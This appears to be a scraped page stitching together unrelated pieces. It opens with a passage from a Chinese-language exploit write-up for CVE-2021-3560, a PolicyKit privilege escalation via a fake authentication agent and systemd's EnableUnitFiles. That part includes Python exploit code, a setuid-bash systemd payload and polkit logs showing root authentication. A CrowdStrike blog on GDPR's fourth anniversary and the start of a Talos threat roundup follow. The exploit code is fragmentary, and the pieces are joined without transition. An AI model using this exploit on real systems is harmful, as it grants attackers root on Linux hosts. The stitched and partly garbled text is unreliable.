        print('[*] Received authentication request')
        print('[*] Action ID: {}'.format(action_id))
        print('[*] Cookie: {}'.format(cookie))

        def send(msg):

        ret_message = dbus.lowlevel.MethodReturnMessage(_msg)
        message = dbus.lowlevel.MethodCallMessage('org.freedesktop.PolicyKit1',
        threading.Thread(target=send, args=(message, )).start()
        threading.Thread(target=send, args=(ret_message, )).start()
        os.kill(os.getpid(), 9)

查看 PolicyKit 输出,发现已经成功认证:

** (polkitd:192813): DEBUG: 01:42:29.925: In authentication_agent_response for cookie '3-7c19ac0c4623cf4548b91ef08584209f-1-22daebe24c317a3d64d74d2acd307468' and identity unix-user:root
** (polkitd:192813): DEBUG: 01:42:29.928: OUT: RET: 1
** (polkitd:192813): DEBUG: 01:42:29.928: Authentication complete, is_authenticated = 1

(polkitd:192813): GLib-WARNING **: 01:42:29.934: GError set over the top of a previous GError or uninitialized memory.
This indicates a bug in someone's code. You must ensure an error is NULL before it's set.
The overwriting error message was: Failed to open file ?/proc/0/cmdline?: No such file or directory
Error opening `/proc/0/cmdline': GDBus.Error:org.freedesktop.DBus.Error.NameHasNoOwner: Could not get UID of name ':1.7428': no such name
** (polkitd:192813): DEBUG: 01:42:29.934: In check_authorization_challenge_cb
  subject                system-bus-name::1.7428
  action_id              org.freedesktop.timedate1.set-timezone
  was_dismissed          0
  authentication_success 1


0x07. Before The Exploit

相比于漏洞作者给出的 Account Daemon 利用,我选择了使用 org.freedesktop.systemd1。首先我们摆脱了必须使用 org.freedesktop.policykit.imply 修饰过的方法的限制,其次因为这个 D-Bus Service 几乎在每个 Linux 系统都存在,最后是因为这个方法存在一些高风险方法。

$ gdbus introspect --system -d org.freedesktop.systemd1 -o /org/freedesktop/systemd1
  interface org.freedesktop.systemd1.Manager {
      StartUnit(in  s arg_0,
                in  s arg_1,
                out o arg_2);
      EnableUnitFiles(in  as arg_0,
                      in  b arg_1,
                      in  b arg_2,
                      out b arg_3,
                      out a(sss) arg_4);

EnableUnitFiles 可以接受传入一组 systemd 单元文件路径,并加载进入 systemd,接着再调用ReloadStartUnit 方法后即可以 root 权限执行任意命令。systemd 单元文件内容如下:


ExecStart=/bin/bash -c 'cp /bin/bash /usr/local/bin/pwned; chmod +s /usr/local/bin/pwned'

看似流程非常明确,但是在实际利用中却出现了问题。问题出在 EnableUnitFiles  方法,首先编写代码调用此方法:

def enable_unit_files():
    print('[*] Starting EnableUnitFiles ...')
    bus = dbus.SystemBus(mainloop=DBusGMainLoop())
    obj = bus.get_object('org.freedesktop.systemd1', '/org/freedesktop/systemd1')
    interface = dbus.Interface(obj, dbus_interface='org.freedesktop.systemd1.Manager')
    interface.EnableUnitFiles(['test'], True, True, reply_handler=handler, error_handler=handler)


[email protected]:~$ python3 agent.py
[*] Starting EnableUnitFiles ...
[+] PolicyKit authentication agent registered successfully
[*] D-Bus message loop now running ...
[*] Method response: (DBusException(dbus.String('Interactive authentication required.')),)

可见并没有进入我们注册的 Authentication Agent,而是直接输出了 Interactive authentication required 的错误信息。通过实际的代码分析,定位到如下代码逻辑:

static void
polkit_backend_interactive_authority_check_authorization (PolkitBackendAuthority         *authority,
                                                          PolkitSubject                  *caller,
                                                          PolkitSubject                  *subject,
                                                          const gchar                    *action_id,
                                                          PolkitDetails                  *details,
                                                          PolkitCheckAuthorizationFlags   flags,
                                                          GCancellable                   *cancellable,
                                                          GAsyncReadyCallback             callback,
                                                          gpointer                        user_data)
  // ...
  if (polkit_authorization_result_get_is_challenge (result) &&
      AuthenticationAgent *agent;
      agent = get_authentication_agent_for_subject (interactive_authority, subject);
      if (agent != NULL)
          g_object_unref (result);
          result = NULL;

          g_debug (" using authentication agent for challenge");
          authentication_agent_initiate_challenge (agent,
                                                   // ...
          goto out;

这里检查了 Message Flags 的 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是不是为 0,如果是 0,则不会进入到使用 Authencation Agent 的分支。通过查阅文档,我发现 POLKIT_CHECK_AUTHORIZATION_FLAGS_ALLOW_USER_INTERACTION 是消息发送者可控的,D-Bus 的类库提供了相应的 setter:https://dbus.freedesktop.org/doc/api/html/group__DBusMessage.html#gae734e7f4079375a0256d9e7f855ec4e4,也就是 dbus_message_set_allow_interactive_authorization 方法。

但是当我去翻阅 dbus-python 的文档时,发现其并没有提供这个方法。于是我修改了版 dbus-python添加了此方法,地址为:https://gitlab.freedesktop.org/RicterZ/dbus-python

"message.set_allow_interactive_authorization(bool) -> None\n"
"Set allow interactive authorization flag to this message.\n");
static PyObject *
Message_set_allow_interactive_authorization(Message *self, PyObject *args)
    int value;
    if (!PyArg_ParseTuple(args, "i", &value)) return NULL;
    if (!self->msg) return DBusPy_RaiseUnusableMessage();
    dbus_message_set_allow_interactive_authorization(self->msg, value ? TRUE : FALSE);

同时这项修改已经提交 Merge Request 了,希望之后会被合并。

0x08. The Final Exploit

添加了 set_allow_interactive_authorization 后,利用 dbus-python 提供的低级接口构建消息:

def method_call_install_service():
    print('[*] Enable systemd unit file \'{}\' ...'.format(FILENAME))
    bus2 = dbus.SystemBus(mainloop=DBusGMainLoop())
    message = dbus.lowlevel.MethodCallMessage(NAME, OBJECT, IFACE, 'EnableUnitFiles')

设置之后再发送即可收到 PolicyKit 发来的 BeginAuthentication 请求了。实际编写框架已经大体明了了,写一个利用出来并不困难。最终利用成功截图如下:

A New Exploit Method for CVE-2021-3560 PolicyKit Linux Privilege Escalation

Golang 和 C 版本的利用代码如下:

0x09. Conclusion

CVE-2021-3560 是一个危害被低估的漏洞,我认为是由于漏洞作者不是特别熟悉 D-Bus 和 PolicyKit 的相关机制导致错过了 Authentication Agent 的特性,从而构建出限制较大的 PoC。我自是不敢说精通 D-Bus 和 PolicyKit,但是在最近时间的漏洞挖掘和研究过程中,参考了大量的文档、历史漏洞分析,同时阅读了大量的代码后,才能意识到使用 Authentication Agent 来进行利用的可能性。

同时,作为一个 Web 漏洞的安全研究员,我自是将所有的东西都类型转换到 Web 层面去看待。D-Bus 和 Web 非常相似,在挖掘提权的过程中并没有受到特别大的阻力,却收获了非常多的成果。希望各位安全从业者通过 D-Bus 来入门二进制,跳出自己的舒适圈,也可以增加自己在漏洞挖掘中的视野(什么,内存破坏洞?想都不要想了,开摆.jpg)。

0x0a. Reference

Four Takeaways as the European Union’s General Data Protection Regulation (GDPR) Turns 4

27 May 2022 at 18:44

This blog was originally published on Security Senses.

May 25, 2022, marked four years since the European Union’s General Data Protection Regulation (GDPR) went into effect. Although the scope of the law is limited to personal data originating from activities in the European Economic Area, the ensuing requirements have had a global impact. This is evident in similar laws that have been proposed or passed and measures multinational organizations have taken to comply with privacy requirements. In parallel, there has been a convergence of a principles-based approach to cybersecurity in many jurisdictions worldwide.

In light of the trends of the past four years, there are four clear takeaways for organizations seeking to meet their GDPR obligations.

1. GDPR Is not a Static Set of Requirements

During the past four years, organizations around the globe have adapted to comply with GDPR requirements, while those requirements and the threats posed to privacy have been anything but static. The European Data Protection Board (EDPB), the GDPR-era successor to the Article 29 Working Party, has issued updated guidance on a variety of areas. These include privacy-by-design guidelines as well as breach notification examples and response guidelines. Simultaneously, as shown in the CrowdStrike 2022 Global Threat Report, threats to data protection continue to evolve, requiring organizations to assess their GDPR compliance programs in the context of today’s security risks and GDPR requirements, rather than those of 2018.

2. Achieving Security-by-Design and Privacy-by-Design Is Not “Set and Forget”

As a principles-based regulation, GDPR includes obligations to incorporate privacy-by-design and to implement safeguards appropriate to the risk. EDPB guidelines make clear that privacy-by-design is an evolving standard that imposes on organizations a duty “to take account of the current progress in technology that is available in the market.” Furthermore, the EDPB guidance drives home the point that organizations may find themselves in violation of GDPR Arts. 25 and 32, where “a measure that once provided an adequate level of protection no longer does.”

This evolving standard of GDPR is a reflection of why security approaches, such as legacy antivirus, are mismatched for today’s realities. As workloads and data storage increasingly move from traditional endpoints to cloud offerings, cyber threat actors have expanded their targets. In fact, cyber threat actors often do not discriminate between personal or general, on-premise enterprise environments versus cloud environments. They target resources and data wherever they exist, and frequently move between local and cloud environments in an attempt to achieve their objectives.1 This is one reason why accidental data exposures that happen through, for example, misconfigured cloud storage environments are also increasingly a source of potential privacy issues. Moreover, threat actors use cloud hosting to disguise their intrusions as benign network traffic, and a variety of legitimate software and cloud hosting services to access company networks.

3. Mitigating Risk Can Mitigate Breach Obligations

Like many breach notification obligations, GDPR’s language is designed to reduce breach fatigue by creating an impact-driven duty to notify regulators and, in the most severe of instances, individuals. Recent guidance for the EDPB makes clear not all breaches have the same level of severity. For example, an incident where a threat actor sees a list of user names might have a small or negligible impact on affected parties. Whereas, another incident in which a threat actor exfiltrates complete financial or medical records may have a severe impact.

Some personal data may be considered benign enough that it would not even be considered reportable if a breach was to occur. Whereas, other personal data could pose a risk or high risk to the fundamental rights of data subjects. Such guidance is relevant for cross border data flows as well. Put simply, if certain types of personal data in a data breach would not be reportable, it raises the question as to whether there should be any barriers to data flows in a transfer impact assessment.

As a practical matter, the data breach guidance repeatedly endorses the notion of using centralized logs as a critical component in breach prevention and assessment. This is because security teams demand contextual awareness and visibility from across their entire environments, including within cloud and ephemeral environments. Log management is critical to understanding what happened. Going beyond this, extended detection and response (XDR), can be leveraged to apply order to a sometimes chaotic array of security tools by deriving actionable insights wherever they exist within the enterprise, and generate intelligence from what otherwise may be an information overload. Holistic XDR unifies detection and response across the entire security stack. 

4. Threats to Data Protection Aren’t Going Away

Legal guidance related to GDPR is not the only thing that has evolved in the past four years. The threats to privacy that GDPR principles require organizations to protect against have evolved as well. As CrowdStrike’s Global Threat Report highlighted, cyber actors pose a significant threat to organizations and, especially, to data protection compliance. In fact, CrowdStrike observed an 82% increase in ransomware data leaks from 2020 to 2021 alone. Moreover, there is the stark reality that 62% of attacks observed by CrowdStrike did not involve malware but instead were conducted via hands-on-keyboard activity. These realities make clear that using legacy antivirus technologies to protect personal data do not meet GDPR’s standards of implementing state-of-the-art security measures appropriate for today’s risks.

The Future of GDPR

Organizations subject to GDPR should evaluate whether measures put in place four years ago are still sufficient today. Both the legal guidance interpreting GDPR as well as the threats to privacy continue to evolve, and compliance is a moving target. Moreover, there have been significant fines under both GDPR and UK GDPR against organizations that do not implement appropriate safeguards to protect personal data. Consequently, as a practical matter, investing in ENISA endorsed security measures such as XDR, zero trust, log management and threat hunting is a fundamental part of compliance today.

Drew Bagley is Vice President and Counsel, Privacy and Cyber Policy at CrowdStrike.


  1. George Kurtz, Testimony on Cybersecurity and Supply Chain Threats, Senate Select Committee on Intelligence (Feb. 23, 2021).

Additional Resources

Threat Roundup for May 20 to May 27

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between May 20 and May 27. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key behavioral characteristics,...

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